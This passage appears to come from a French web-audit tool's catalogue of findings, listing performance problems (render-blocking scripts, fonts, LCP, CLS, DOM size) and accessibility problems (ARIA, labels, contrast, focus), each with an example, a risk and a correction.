Des sélecteurs qui forcent un parcours coûteux du document sélecteur :has(), universel qualifié, ou attribut data-* en tête de sélecteur

Certains sélecteurs coûtent bien plus cher à résoudre qu'une classe ou un identifiant : :has() force un parcours descendant complet, un sélecteur universel qualifié (.sidebar > *) empêche le moteur de réutiliser le style calculé d'un élément frère, et un attribut data-* utilisé seul ne bénéficie d'aucun accès direct par table de hachage.

Exemple
.form:has(input:invalid) { border-color: red; } sur un formulaire long.
Risque
Temps de recalcul de style allongé, surtout sur une page riche en éléments.
Correction
Remplacer l'attribut par une classe équivalente, restreindre :has() à un enfant direct (:has(> .field--invalid)), et éviter l'universel qualifié au profit d'une classe sur l'enfant.
Des services extérieurs contactés sans préparation de la connexion preconnect

Aucune balise <link rel="preconnect"> n'est déclarée pour les domaines tiers utilisés (CDN images, API, fonts, analytics). Chaque ressource subit alors le coût complet d'établissement de connexion : résolution DNS + handshake TCP + handshake TLS : 100 à 300 ms à chaque fois.

Exemple
Les images du site sont sur cdn.imgix.com mais pas de preconnect → chaque image paie 200 ms de connexion à froid.
Risque
LCP retardé de 200 à 500 ms si l'élément LCP est sur un domaine tiers.
Correction
Ajouter <link rel="preconnect" href="https://cdn.tiers.com" crossorigin> dans le <head> pour les 2-4 domaines tiers les plus critiques.
Des styles chargés en chaîne, l’un après l’autre @import

Le CSS utilise @import qui force un téléchargement en série (cascade synchrone) : le navigateur découvre l'import après avoir parsé le premier fichier.

Exemple
@import url('fonts.css'); en tête de app.css → 2 RTT minimum en série.
Risque
FCP dégradé, pas de parallélisation possible.
Correction
Remplacer @import par <link rel='stylesheet'> côté HTML.
Des variables CSS globales qui n’ont aucun type déclaré custom properties sur :root sans règle @property associée

Un grand nombre de variables CSS sont déclarées sur :root sans qu'aucune règle @property ne leur donne un type ni ne coupe leur héritage. Par défaut, chacune hérite sur tout l'arbre du document : la modifier oblige le moteur à reconsidérer chaque élément, même ceux qui ne l'utilisent pas.

Exemple
:root { --sidebar-width: 280px; --card-radius: 8px; /* … 30 variables … */ } sans une seule règle @property.
Risque
Chaque mutation de variable recalcule potentiellement tout le document.
Correction
Typer les variables qui n’ont pas besoin d’hériter avec @property (inherits: false), et scoper les variables spécifiques à un composant au plus près de son usage plutôt que sur :root.
L’en-tête de la page n’est pas rangé dans le bon ordre <head>

Un script bloquant apparaît avant le CSS dans le <head>. Le navigateur doit attendre le script avant de commencer à parser le CSS : premier rendu retardé.

Exemple
<script src='analytics.js'> placé avant <link rel='stylesheet' href='app.css'> → CSS bloqué.
Risque
FCP (First Contentful Paint) dégradé de plusieurs centaines de ms.
Correction
Ranger le <head> selon l'ordre canonique : charset → viewport → title → preconnect → CSS → JS différé.
L’image principale n’est pas chargée en priorité fetchpriority

L'image responsable du Largest Contentful Paint (LCP) n'a pas l'attribut fetchpriority="high". Le navigateur la priorise comme une image lambda, alors qu'elle conditionne le ressenti de chargement de la page.

Exemple
Sur une page produit, l'image principale du produit charge après les bannières de l'en-tête car le navigateur ne sait pas qu'elle est la plus importante : l'utilisateur voit un cadre vide pendant 1 à 2 secondes.
Risque
LCP dégradé de 500 ms à 1500 ms, score Core Web Vitals en chute.
Correction
Ajouter fetchpriority="high" sur l'image LCP (et seulement celle-ci) pour signaler sa priorité au navigateur.
La page contient beaucoup trop d’éléments > 3000 nœuds

La page contient plus de 3000 nœuds DOM : seuil critique. Au-delà, le navigateur peine sur tous les recalculs (scroll, hover, keydown).

Exemple
Tableau de 1000 lignes × 10 colonnes rendu d'un coup.
Risque
Scroll saccadé, frappe au clavier laggy.
Correction
Virtualiser les longues listes (tanstack-virtual, react-window) ou paginer.
La page contient trop d’éléments nœuds

La page contient un nombre excessif de nœuds DOM (> 1500). Chaque interaction coûte plus cher en reflow / repaint.

Exemple
Liste de 5000 items sans virtualisation → 30 000 nœuds DOM, scroll qui rame.
Risque
Scroll saccadé, frappe au clavier laggy.
Correction
Mettre en place de la virtualisation (react-virtual, tanstack-virtual) ou de la pagination.
La page dépasse ce que le serveur peut envoyer en un seul aller-retour fenêtre de congestion initiale TCP

Le document (styles et scripts insérés dans la page compris) est plus lourd que ce que la connexion peut transporter dès son premier envoi. L’affichage doit attendre un second aller-retour réseau avant même de commencer.

Exemple
Une page dont tous les styles sont insérés en ligne, sans feuille externe mise en cache.
Risque
Le premier affichage attend un aller-retour réseau de plus, sur chaque visite sans cache.
Correction
Réduire ce que la page insère en ligne, renvoyer le reste comme fichiers séparés et mis en cache.
La page est envoyée sans compression gzip / brotli

La réponse HTML est servie sans compression (ni gzip, ni brotli). Le navigateur télécharge 3 à 5 fois plus d'octets que nécessaire.

Exemple
Un HTML de 120 Ko servi tel quel au lieu de ~25 Ko en brotli.
Risque
TTFB perçu dégradé, surtout en mobile.
Correction
Activer gzip/brotli côté Nginx/CDN pour les types texte (text/html, css, js).
La page peut être servie obsolète sans être revérifiée Cache-Control sans revalidation

Le document HTML est mis en cache avec une durée de vie positive et sans consigne de revalidation. Un intermédiaire ou le navigateur peut alors servir une version obsolète.

Exemple
Cache-Control: max-age=3600 sur le document HTML lui-même.
Risque
Une personne peut voir une version de l’application déjà remplacée, sans le savoir.
Correction
Servir le document HTML avec no-cache (ou une revalidation courte), jamais avec un long max-age seul.
La page réécrit son propre contenu pendant qu’elle se charge document.write

Le code utilise document.write après le chargement initial. Cela bloque le rendu et casse le parsing HTML asynchrone du navigateur.

Exemple
Une lib publicitaire ancienne (Adsense legacy) appelle document.write → blocage de 200-500 ms.
Risque
TTFB et LCP dégradés de plusieurs centaines de ms.
Correction
Remplacer document.write par document.createElement + appendChild ou supprimer la lib.
La page reste sourde aux clics pendant qu’elle se charge Total Blocking Time (TBT)

Le Total Blocking Time (temps de blocage du thread principal par de longues tâches JS >50ms) est élevé. Pendant ce temps, la page ignore les clics et les saisies.

Exemple
Un gros bundle JS parse/exécute 800ms au chargement → clics ignorés, page perçue comme figée.
Risque
Page non réactive (INP dégradé).
Correction
Découper le JS (code-splitting), différer/paresser le non-critique, alléger l’hydratation.
La structure de la page est trop profonde profondeur > 32

L'arbre DOM dépasse 32 niveaux d'imbrication. Style recalc et layout coûtent plus cher, mémoire en hausse.

Exemple
Composants imbriqués sans flatten (10 niveaux de wrappers React) → arbre à 50+ niveaux.
Risque
Performance dégradée sur appareils faibles.
Correction
Aplatir les composants wrappers inutiles, utiliser fragments React.
Le code de l’application est trop lourd à télécharger bundle JS

Le total JS transféré dépasse le seuil recommandé (> 350 KB gzipped). Téléchargement, parsing et exécution longs.

Exemple
Bundle webpack à 1.5 MB sans code splitting → 4 s d'attente sur 3G.
Risque
LCP et TTI dégradés, surtout sur mobile.
Correction
Activer code-splitting par route, tree-shaking strict, remplacer les libs lourdes.
Le contenu bouge à l’écran pendant le chargement Cumulative Layout Shift (CLS)

La mesure de ce qui se déplace visuellement pendant le chargement dépasse le seuil retenu. Un clic ou un appui peut atterrir sur le mauvais élément parce que la page a bougé entre-temps.

Exemple
Une image sans largeur ni hauteur déclarées pousse le texte vers le bas une fois chargée.
Risque
Clic sur le mauvais élément (ex. bouton qui a bougé).
Correction
Réserver l’espace des images et blocs insérés dynamiquement (dimensions déclarées, squelettes).
Le contenu bouge pendant le chargement Cumulative Layout Shift (CLS)

Des éléments majeurs (header, images, polices) déplacent le contenu après le premier rendu. CLS dégradé, frustration utilisateur.

Exemple
Police custom qui se charge après FCP → tout le texte saute (FOUT).
Risque
CLS > 0.1 = Core Web Vitals fail → SEO impacté.
Correction
Réserver l'espace via width/height ou aspect-ratio, et utiliser font-display: optional ou font-display: swap avec préchargement.
Le contenu principal met trop de temps à s’afficher Largest Contentful Paint (LCP)

Le temps avant que le plus grand élément visible de la page (image, titre, bloc de texte) ne s’affiche dépasse le seuil retenu. C’est le moment où la personne perçoit que « la page est là ».

Exemple
Une image d’en-tête non optimisée ou chargée tardivement retarde l’affichage du contenu principal.
Risque
Impression de lenteur, abandon avant que le contenu n’apparaisse.
Correction
Précharger et prioriser la ressource du plus grand élément, réduire le rendu bloquant en amont.
Le nombre d’éléments de la page grossit à chaque visite croissance du DOM entre rechargements

Rechargée plusieurs fois de suite, la page affiche à chaque fois davantage d’éléments, de façon soutenue. C’est le signe d’un état conservé (stockage local, cache) qui s’accumule sans limite plutôt que d’une fuite mémoire confirmée : seul un instantané du tas du navigateur permettrait de trancher, ce que cet audit ne prend pas depuis l’extérieur.

Exemple
Un journal d’activité mis en cache dans le stockage local et rejoué intégralement à chaque visite, sans jamais être purgé.
Risque
Ralentissement progressif de la page à mesure que le stockage grossit.
Correction
Plafonner ou purger périodiquement l’état conservé côté navigateur ; confirmer une éventuelle fuite mémoire par un instantané du tas.
Le retour arrière recharge la page au lieu de la restaurer cache de navigation (back/forward cache)

Un clic sur « précédent » recharge la page depuis le réseau plutôt que de la restaurer depuis le cache de navigation du navigateur. L’écran précédent réapparaît plus lentement, et perd l’état qu’il avait.

Exemple
Un gestionnaire unload qui empêche la mise en cache de la page par le navigateur.
Risque
Le retour arrière est plus lent qu’il ne le devrait, et l’état de l’écran précédent est perdu.
Correction
Éviter unload, préférer pagehide, et ne pas exclure la page du cache de navigation sans raison.
Le serveur met trop de temps à répondre Time To First Byte (TTFB)

Le temps entre la demande de la page et le premier octet de la réponse du serveur dépasse le seuil retenu. Tout le reste du rendu part avec ce retard.

Exemple
Une page rendue côté serveur qui interroge plusieurs services avant de répondre.
Risque
Chaque écran hérite du retard, quelle que soit la rapidité du navigateur ensuite.
Correction
Mettre en cache les réponses côté serveur/CDN, réduire le travail fait avant le premier octet.
Le serveur met trop de temps à répondre, au regard du mandat Time To First Byte (TTFB), seuil de production

Le temps entre la demande de la page et le premier octet de la réponse du serveur dépasse le seuil de production retenu par le mandat. Tout le reste du rendu part avec ce retard.

Exemple
Une page rendue côté serveur qui interroge plusieurs services avant de répondre.
Risque
Chaque écran hérite du retard, quelle que soit la rapidité du navigateur ensuite.
Correction
Mettre en cache les réponses côté serveur/CDN, réduire le travail fait avant le premier octet.
Le texte reste invisible en attendant sa police FOIT

Une police custom est chargée sans font-display. Le texte reste invisible (Flash Of Invisible Text) pendant 1-3s.

Exemple
@font-face { font-family: 'Inter'; src: url(...); } sans font-display: swap.
Risque
Utilisateur voit une page sans texte → impression de page cassée.
Correction
Ajouter font-display: swap ou optional dans chaque @font-face.
Les styles de l’application sont trop lourds à télécharger bundle CSS

Le CSS total dépasse le seuil recommandé (> 100 KB gzipped). Bloquant pour le rendu initial.

Exemple
Import complet d'un framework CSS (Bootstrap entier) au lieu des seuls composants utilisés.
Risque
First Paint retardé, LCP dégradé.
Correction
Activer PurgeCSS / tailwind JIT, ne charger que les feuilles nécessaires par route.
Les styles nécessaires au premier affichage sont dispersés CSS critique

Le CSS critique pour le rendu initial est dispersé entre plusieurs fichiers/origines. Le navigateur multiplie les requêtes série avant de pouvoir peindre.

Exemple
Page qui charge app.css, theme.css, vendor.css en série depuis trois domaines différents.
Risque
FCP retardé par les requêtes CSS multiples.
Correction
Concaténer/inliner le critical CSS, défer le reste avec media='print' onload=....
Plusieurs blocs de calcul interrompent l’interaction au chargement Long tasks (> 50ms)

Au chargement, plusieurs tâches JavaScript de plus de 50ms occupent le thread principal. Chacune retarde un clic, une saisie ou un défilement tombant pendant qu’elle s’exécute : un symptôme distinct d’un temps de blocage total élevé, qui mesure la durée cumulée plutôt que le nombre d’interruptions.

Exemple
Plusieurs scripts tiers s’initialisent l’un après l’autre juste après le chargement de la page.
Risque
Clics et saisies ignorés par intermittence pendant les premières secondes.
Correction
Découper les scripts au chargement en morceaux plus courts, différer ce qui n’est pas indispensable au premier rendu.
Trop de fichiers de code chargés séparément

La page charge un nombre excessif de scripts (> 30). Chaque script = requête, parsing, exécution.

Exemple
50 scripts tiers (analytics, A/B testing, chat, cookies) cumulés sur une page.
Risque
Saturation HTTP/2 connection pool.
Correction
Consolider les chunks (taille cible 50-200 KB par chunk), désactiver les scripts tiers non critiques.
Trop de styles insérés directement dans la page CSS inline

La page contient un volume important de CSS inline (<style>...</style>). Pas de cache cross-page, taille HTML gonflée.

Exemple
Tailwind compilé inline (50 KB) sur chaque page → pas de cache navigateur.
Risque
Pages plus lourdes à charger (pas de cache).
Correction
Extraire le CSS dans un fichier statique cacheable, ne garder inline que le critical CSS.
Un changement de police visible sans compensation de mise en page font-display: swap sans size-adjust ni ascent-override sur le repli

Une police déclare font-display: swap : le texte s'affiche d'abord dans la police système, puis bascule vers la police définitive dès qu'elle est prête. Sans réglage des métriques de repli (size-adjust, ascent-override), ce basculement décale le texte quand les deux polices n'ont pas les mêmes proportions.

Exemple
Titre en police système large, puis rétréci d'un coup au chargement d'Inter → le bouton en dessous se déplace.
Risque
Décalage visuel perçu comme un défaut, en particulier sur mobile.
Correction
Ajouter une police de repli dédiée avec size-adjust, ascent-override et descent-override calculés pour correspondre à la police définitive (outil Fontaine ou Font Style Matcher).
Un script extérieur retarde l’affichage script bloquant

Un script externe est chargé sans async ni defer. Il bloque le parser HTML jusqu'à téléchargement + exécution.

Exemple
<script src='https://cdn.tiers.com/widget.js'> en haut de page → blocage de plusieurs centaines de ms.
Risque
LCP et FCP dégradés.
Correction
Ajouter defer (ou async si l'ordre n'importe pas) sur les scripts non critiques.
Un script inséré dans la page retarde l’affichage script inline bloquant

Un script inline (souvent volumineux) bloque le parsing HTML jusqu'à son exécution.

Exemple
Un bootstrap JS de 50 KB inline dans le <head> → blocage rendu jusqu'à exécution complète.
Risque
LCP dégradé, First Paint retardé.
Correction
Sortir le script inline dans un fichier externe avec defer, ou minimiser strictement à l'essentiel.
Un script non essentiel placé en tête de page <head>

Variante alternative de pf02-l1-c2 quand le script inline est volumineux ou non critique. Bloque le rendu pour rien.

Exemple
Polyfill inline de 30 KB pour un cas marginal.
Risque
LCP dégradé, First Paint retardé.
Correction
Sortir le script dans un fichier externe différé ou supprimer si non critique.
Une animation qui force un recalcul de la mise en page à chaque image propriété de layout animée (largeur, hauteur, marge, position) plutôt que transform ou opacity

Une animation ou une transition porte sur une propriété comme la largeur, la hauteur, une marge ou une position : le navigateur doit recalculer la mise en page à chaque image plutôt que de déléguer le travail au processeur graphique, ce qui coûte largement plus cher qu'une transformation ou un changement d'opacité.

Exemple
.panel { width: 0; transition: width 300ms; } .panel.open { width: 320px; } pour ouvrir un panneau.
Risque
Animation saccadée, en particulier sur un appareil peu puissant.
Correction
Remplacer la propriété animée par un transform ou une opacity équivalents (translateX/scale au lieu de width/left).
Une feuille de style extérieure retarde l’affichage CSS bloquant

Un fichier <link rel='stylesheet'> externe est synchrone : le rendu est entièrement bloqué jusqu'à téléchargement et parsing du CSS.

Exemple
<link rel='stylesheet' href='https://cdn.tiers.com/style.css'> non critique.
Risque
Si le tiers est lent/down, la page reste blanche.
Correction
Charger le CSS non critique avec media='print' onload="this.media='all'" ou via JS.
Une grande page sans frontière de rendu déclarée aucune propriété contain ni content-visibility, page de plus de 1500 éléments

Sur une page riche en éléments, aucune règle ne délimite de frontière de rendu (contain ou content-visibility) : un changement dans une zone de la page peut obliger le moteur à reconsidérer l'ensemble du document faute de limite déclarée.

Exemple
Liste de 300 cartes sans content-visibility: auto : chacune est calculée même hors de l’écran visible.
Risque
Temps de rendu initial plus long que nécessaire.
Correction
Ajouter content-visibility: auto (avec contain-intrinsic-size) sur les listes longues, et contain: layout ou contain: content sur les composants isolés.
Une image dont l’adresse est invalide src

Une balise <img> a un src manquant, vide ou invalide. Le navigateur ne peut afficher aucune image.

Exemple
<img src=""> généré par un template sans donnée.
Risque
Image absente à l’affichage.
Correction
Renseigner un src valide ou ne pas rendre l’élément <img> tant que la source n’est pas disponible.
Une police qui peut cacher le texte le temps de se charger font-display

Une @font-face ne déclare pas la directive font-display. Par défaut, le navigateur masque le texte (FOIT : Flash Of Invisible Text) pendant tout le chargement de la police : l'utilisateur voit une page sans aucun texte visible pendant 1 à 3 secondes.

Exemple
Page d'accueil utilisant Inter en webfont sans font-display → l'utilisateur voit la mise en page (images, boutons) mais zéro texte pendant 2 s sur 3G.
Risque
Page perçue comme cassée pendant 1-3 secondes (rebond élevé).
Correction
Ajouter font-display: swap (ou optional pour zéro CLS) dans chaque @font-face.
Une police téléchargée en entier alors qu’un sous-ensemble suffirait WOFF2 de plus de 50 Ko sans unicode-range déclaré

Un fichier de police dépasse 50 Ko sans qu'aucun sous-ensemble de caractères (unicode-range) ne soit déclaré : le navigateur télécharge l'intégralité des glyphes de la police, y compris ceux qu'aucune page du site n'affiche jamais.

Exemple
Police variable complète (95 Ko) chargée sans unicode-range, alors que le site n’affiche que du texte latin.
Risque
Bande passante gaspillée à chaque première visite, surtout sur mobile.
Correction
Générer des sous-ensembles avec un outil de subsetting (glyphhanger, pyftsubset) et déclarer unicode-range par sous-ensemble dans chaque @font-face.

Accessibilité

31

Ce qui permet à chacun de lire et de commander la page, aides techniques comprises.

Des zones à toucher trop petites pour un doigt 24×24 px

Des boutons ou liens font moins de 24×24 px (recommandation WCAG 2.5.5/2.5.8). Difficiles à taper sur mobile.

Exemple
Petits icônes 16×16 dans une barre d'outils mobile → l'utilisateur tape à côté 1 fois sur 3.
Risque
Taux d'erreur élevé sur mobile → abandon.
Correction
Cibles tactiles >= 44×44 px (Apple HIG) ou >= 24×24 px avec espace autour (WCAG 2.5.8).
Deux éléments portent le même identifiant id

Plusieurs éléments ont le même id dans la page. Comportement indéterminé pour getElementById, aria-labelledby, ancres, sélecteurs CSS.

Exemple
Deux <div id='main'> → un seul est ciblé par #main { ... }.
Risque
Bugs subtils côté JS et CSS, difficiles à diagnostiquer.
Correction
Garantir l'unicité des IDs (lint côté build).
Du contenu hors de toute zone repérable par les aides techniques landmark

Des contenus de la page ne sont dans aucun landmark (main, nav, header, footer, etc.). Les lecteurs d'écran ne peuvent pas structurer la page.

Exemple
Du texte directement sous <body> sans <main> autour → annoncé hors structure.
Risque
Structure de page illisible au lecteur d'écran.
Correction
Envelopper chaque zone fonctionnelle dans le landmark adéquat (main, nav, aside, etc.).
Du texte trop peu contrasté pour être lu par tous

Le ratio de contraste entre le texte et son fond est inférieur au seuil WCAG AA (4.5:1 pour texte normal). Texte illisible pour malvoyants, fatigant pour tous.

Exemple
Libellé gris clair (#999) sur fond blanc → utilisateurs au-dessus de 50 ans ont du mal à lire.
Risque
Exclusion des utilisateurs malvoyants (~ 8 % de la population adulte).
Correction
Viser un ratio >= 4.5:1 (texte normal) ou 3:1 (texte ≥ 18 pt bold). Tester avec un outil contrast checker.
L’ordre de tabulation est forcé à la main tabindex > 0

Un élément utilise tabindex='1' ou plus, ce qui force un ordre de focus 'manuel' fragile et incohérent avec le flux DOM.

Exemple
Un formulaire avec tabindex='1' à tabindex='10' → ajouter un champ casse tout.
Risque
Ordre de focus imprévisible, expérience clavier cassée.
Correction
Utiliser uniquement tabindex='0' (focusable, ordre DOM) ou tabindex='-1' (programmatique).
La langue déclarée par la page n’existe pas lang

L'attribut lang est présent mais avec une valeur non conforme à BCP 47 (fr_FR au lieu de fr-FR, francais au lieu de fr).

Exemple
<html lang='francais'> → ignoré par les lecteurs d'écran.
Risque
Comportement assistif imprévisible (mauvaise prononciation).
Correction
Utiliser un code BCP 47 valide : fr, fr-FR, en-US, etc.
La page déborde de l’écran sur mobile

Sur viewport mobile, le contenu déborde horizontalement. L'utilisateur doit scroller latéralement pour lire : anti-pattern majeur.

Exemple
Un tableau pas responsive force un scroll horizontal au-delà du viewport.
Risque
Lecture quasi-impossible sur mobile, abandon massif.
Correction
Utiliser max-width: 100% sur les médias et overflow-x: auto sur les tableaux.
La page empêche d’agrandir le texte meta viewport user-scalable

La balise <meta name='viewport'> désactive le zoom utilisateur (user-scalable=no ou maximum-scale=1). Exclut les malvoyants qui ont besoin de zoomer.

Exemple
<meta name='viewport' content='width=device-width, user-scalable=no'> → impossible de zoomer sur mobile.
Risque
Exclusion des utilisateurs malvoyants (besoin de zoomer jusqu'à 200%).
Correction
Retirer user-scalable=no et maximum-scale=1 du viewport.
La page ne déclare pas sa langue lang

L'élément racine <html> ne porte pas d'attribut lang renseigné. La synthèse vocale choisit alors la langue par défaut du système et lit la page avec la mauvaise prononciation. Constat commun aux auditors seo et accessibility.

Exemple
<html> sans lang sur une app française → VoiceOver lit le français avec une voix anglaise, incompréhensible.
Risque
Contenu vocalisé inintelligible pour les utilisateurs de lecteur d'écran.
Correction
Déclarer <html lang="fr"> (code BCP 47 correspondant à la langue réelle servie).
La page ne délimite pas sa zone de contenu principal <main>

La page n'expose ni <main> ni [role=main]. Le raccourci « aller au contenu principal » des lecteurs d'écran n'a aucune cible : l'utilisateur retraverse l'en-tête et le menu à chaque navigation.

Exemple
Mise en page SPA où tout est empilé dans des <div> → aucun repère structurel annoncé.
Risque
Navigation au lecteur d'écran lente et fatigante sur toutes les pages du layout.
Correction
Envelopper le contenu propre à la page dans un unique <main> (et laisser en-tête/menu dans <header>/<nav>).
La page reste utilisable derrière la fenêtre ouverte aria-modal / inert

La page sous la fenêtre n'est ni inert ni masquée par aria-hidden : ses liens et ses boutons restent dans l'ordre de tabulation alors qu'ils sont visuellement recouverts.

Exemple
Fenêtre ouverte, on tabule et on atteint les boutons de la liste derrière, qu'on peut activer sans les voir.
Risque
Activation d'une commande invisible, donc effet inattendu.
Correction
Poser inert sur le conteneur de la page pendant que la fenêtre est ouverte, et le retirer à la fermeture.
Le clavier n’entre pas dans la fenêtre qui s’ouvre focus management

À l'ouverture, le focus reste où il était, derrière la fenêtre. La première tabulation repart donc dans la page masquée.

Exemple
On ouvre une fiche, on appuie sur Tab, et le focus part sur un lien du menu latéral recouvert par la fenêtre.
Risque
Au clavier, on agit sur des éléments qu'on ne voit pas.
Correction
Déplacer le focus sur la fenêtre ou sur son premier élément focalisable à l'ouverture, et le rendre au déclencheur à la fermeture.
Les titres ne suivent pas un ordre logique h1 → h2 → h3

Les titres (h1, h2...) sautent un niveau ou redémarrent à zéro. La structure du document est incohérente.

Exemple
Page avec h1 puis directement h4 → le lecteur d'écran annonce une hiérarchie cassée.
Risque
Navigation par titres (raccourci H des lecteurs d'écran) cassée.
Correction
Un seul h1 par page, puis hiérarchie continue (h2 → h3 → h4) sans saut.
Pas de raccourci pour sauter directement au contenu skip link

La page ne propose pas de mécanisme pour sauter la navigation et atteindre le contenu principal. Utilisateurs clavier obligés de tabuler dans tout le menu à chaque page.

Exemple
Sur un site à 30 liens dans le header, l'utilisateur clavier tabule 30 fois avant d'arriver au contenu.
Risque
Navigation clavier épuisante → abandon utilisateur.
Correction
Ajouter un lien skip-link visible au focus en début de page (<a href="#main">Aller au contenu</a>).
Un attribut d’accessibilité qui ne convient pas à cet élément ARIA

Un attribut ARIA est utilisé sur un élément qui ne le permet pas (ex. aria-checked sur un <div> sans role='checkbox'). Annoncé ou ignoré de façon imprévisible.

Exemple
<div aria-checked='true'>...</div> sans role='checkbox' → ignoré.
Risque
Comportement assistif imprévisible, accessibilité non garantie.
Correction
Vérifier le rôle ARIA et n'utiliser que les attributs autorisés (WAI-ARIA spec).
Un bouton sans texte pour les aides techniques

Un bouton n'a pas de label exploitable par un lecteur d'écran. L'utilisateur ne sait pas ce qu'il déclenche.

Exemple
<button><svg>...</svg></button> → annoncé "bouton" sans plus.
Risque
Lecteurs d'écran inutilisables → exclusion complète des malvoyants.
Correction
Ajouter un texte visible ou aria-label descriptif sur le bouton.
Un cadre incrusté sans titre iframe

Une <iframe> n'a pas d'attribut title. Les lecteurs d'écran annoncent 'iframe' sans contexte, l'utilisateur ne sait pas quoi y trouver.

Exemple
<iframe src='https://youtube.com/...'> sans title → annoncé 'iframe' tout court.
Risque
Contenu embedded inaccessible aux malvoyants.
Correction
Ajouter <iframe title='Vidéo de présentation produit'> (court mais descriptif).
Un champ de saisie sans intitulé rattaché <label>

Un <input>, <select> ou <textarea> n'a ni <label for>, ni <label> englobant, ni aria-label, ni aria-labelledby. Le champ est annoncé sans nom et le navigateur ne peut plus proposer l'autofill.

Exemple
Champ de recherche avec seulement un placeholder → annoncé « zone de texte » sans contexte, et le placeholder disparaît dès la saisie.
Risque
Formulaire inutilisable au lecteur d'écran : le tunnel de conversion est cassé pour ces utilisateurs.
Correction
Associer un <label for="id-du-champ"> visible, ou à défaut un aria-label explicite ; le placeholder ne remplace jamais un libellé.
Un composant déclaré sans les éléments qu’il doit contenir aria-required-children

Un conteneur ARIA (role=listbox, role=menu, etc.) n'a pas les enfants ARIA attendus. La sémantique est cassée pour les lecteurs d'écran.

Exemple
<div role='listbox'> sans <div role='option'> à l'intérieur → liste non annoncée.
Risque
Composants UI sophistiqués (tabs, listbox) totalement inutilisables.
Correction
Respecter le contrat ARIA des rôles utilisés (cf. WAI-ARIA Authoring Practices).
Un élément cliquable placé dans un autre élément cliquable

Un bouton dans un bouton, un lien dans un lien : le comportement clavier et lecteur d'écran devient indéterminé. Tab order ambigu, double activation possible.

Exemple
<button><a href='...'>Voir</a></button> → quoi se passe-t-il à Enter ?
Risque
Actions involontaires déclenchées au clavier ou au lecteur d'écran.
Correction
Choisir un seul élément interactif par zone, et utiliser CSS pour le visuel restant.
Un élément qui navigue sans être un vrai lien <a href>

Un élément change l'URL au clic (ligne de liste, carte, bouton) mais n'est pas un <a href>. Le lien natif porte un contrat que le handler JS ne reproduit pas : focus et activation clavier, ouverture dans un nouvel onglet, copie de l'adresse, rôle annoncé aux lecteurs d'écran.

Exemple
Une ligne de tableau <div onClick={() => navigate("/leads/42")}> qui ouvre la fiche : inaccessible au clavier, invisible pour un crawler.
Risque
Utilisateurs clavier et lecteurs d'écran ne peuvent pas atteindre ou comprendre la destination.
Correction
Rendre l’élément avec un vrai <a href="…"> (stylé librement) ; réserver <button> aux actions qui ne changent pas l’URL.
Un lien dont le texte est une adresse brute

Le texte visible d'un lien est une URL brute. Un lecteur d'écran l'épelle caractère par caractère et le lien n'apporte aucun contexte sémantique.

Exemple
https://tordu-jardin.fr/blog/... comme texte de lien → épelé en entier à l'oral.
Risque
Accessibilité dégradée.
Correction
Remplacer l'URL par un libellé humain décrivant la cible.
Un lien dont le texte ne dit pas où il mène « cliquez ici »

Un lien dont le texte est générique (« cliquez ici », « en savoir plus ») n'a aucun sens hors contexte. Les lecteurs d'écran et les moteurs ne peuvent pas en déduire la destination.

Exemple
Une liste de « En savoir plus » identiques est inutilisable au lecteur d'écran (navigation par liens).
Risque
Accessibilité dégradée (WCAG 2.4.4).
Correction
Rédiger un texte de lien explicite décrivant la destination (« Voir le projet Granit Golem »).
Un lien sans texte pour les aides techniques

Un <a href> n'expose aucun nom : pas de texte, pas d'aria-label, pas de title, et son éventuel aria-labelledby ne pointe vers aucun texte. Le lien est annoncé « lien » sans destination.

Exemple
<a href="/profil"><svg>…</svg></a> → annoncé « lien » tout court.
Risque
Navigation impraticable au lecteur d'écran : impossible de choisir une destination.
Correction
Ajouter un texte visible dans le lien, ou un aria-label décrivant la destination (« Voir mon profil »).
Un problème d’accessibilité

Un critère d’accessibilité (WCAG) n’est pas respecté : contraste, alternative textuelle, rôle ARIA, navigation clavier… L’usage devient difficile ou impossible pour une partie des utilisateurs.

Exemple
Un contraste texte/fond insuffisant, illisible pour un daltonien ou en plein soleil.
Risque
Exclusion d’utilisateurs en situation de handicap.
Correction
Corriger le critère signalé (contraste, alt, label, focus visible) et re-tester avec un lecteur d’écran et axe-core.
Un rôle d’accessibilité qui n’existe pas ARIA

Un attribut role='...' utilise une valeur inconnue ou inappropriée. Le lecteur d'écran l'ignore ou annonce du bruit.

Exemple
<div role='buton'> (typo) → rôle inexistant, l'élément n'est pas annoncé comme bouton.
Risque
Sémantique cassée, UX assistée dégradée.
Correction
Utiliser uniquement les rôles ARIA standards (WAI-ARIA).
Une fenêtre qui ne se présente pas comme telle aux aides techniques role="dialog"

Une surcouche recouvre la page et se comporte comme une fenêtre modale, mais ne porte ni role="dialog" ni aria-modal="true". Pour le navigateur et les technologies d'assistance, c'est un bloc de contenu comme un autre au milieu de la page.

Exemple
Le détail d'une fiche s'ouvre dans un <div class="fixed inset-0 z-50"> : à l'écran c'est une fenêtre, dans l'arbre d'accessibilité c'est un paragraphe de plus.
Risque
L'utilisateur non-voyant ne sait pas qu'un changement de contexte a eu lieu.
Correction
Porter role="dialog" et aria-modal="true" sur le conteneur de la fenêtre, ou utiliser l'élément natif <dialog> avec showModal().
Une fenêtre sans nom pour les aides techniques aria-label / aria-labelledby

La fenêtre s'annonce comme un dialogue et rien de plus : aucun aria-label, aucun aria-labelledby vers son titre.

Exemple
La fenêtre affiche un titre visible mais ne le relie pas à son conteneur par aria-labelledby.
Risque
L'utilisateur doit explorer tout le contenu pour deviner de quoi la fenêtre parle.
Correction
Relier le conteneur à son titre visible avec aria-labelledby, ou lui donner un aria-label quand il n'y a pas de titre.
Une image sans description de remplacement alt

Une balise <img> ne déclare aucun attribut alt. Le lecteur d'écran annonce alors le nom du fichier, ou rien. Attention : alt="" est correct et volontaire pour une image purement décorative, ici l'attribut est totalement absent.

Exemple
<img src="graphique-ca-2026.png"> → annoncé « image graphique tiret c a tiret 2026 point p n g ».
Risque
Information portée par l'image totalement perdue pour les non-voyants.
Correction
Ajouter alt="description courte de l'information portée", ou alt="" si l'image est purement décorative.
Une liste déroulante sans intitulé

Un menu déroulant (<select>) n'expose aucun nom accessible : ni <label> associé, ni aria-label, ni aria-labelledby. Un lecteur d'écran annonce « liste déroulante » sans dire de quoi il s'agit.

Exemple
Un filtre de tableau rendu comme un <select> stylé, dont le seul indice visuel est un texte placé à côté sans lien programmatique.
Risque
Les personnes utilisant un lecteur d'écran ne peuvent pas savoir ce que le menu contrôle.
Correction
Associer un <label for="…">, ou poser un aria-label décrivant ce que la liste filtre.
Une zone qui défile mais que le clavier ne peut pas atteindre

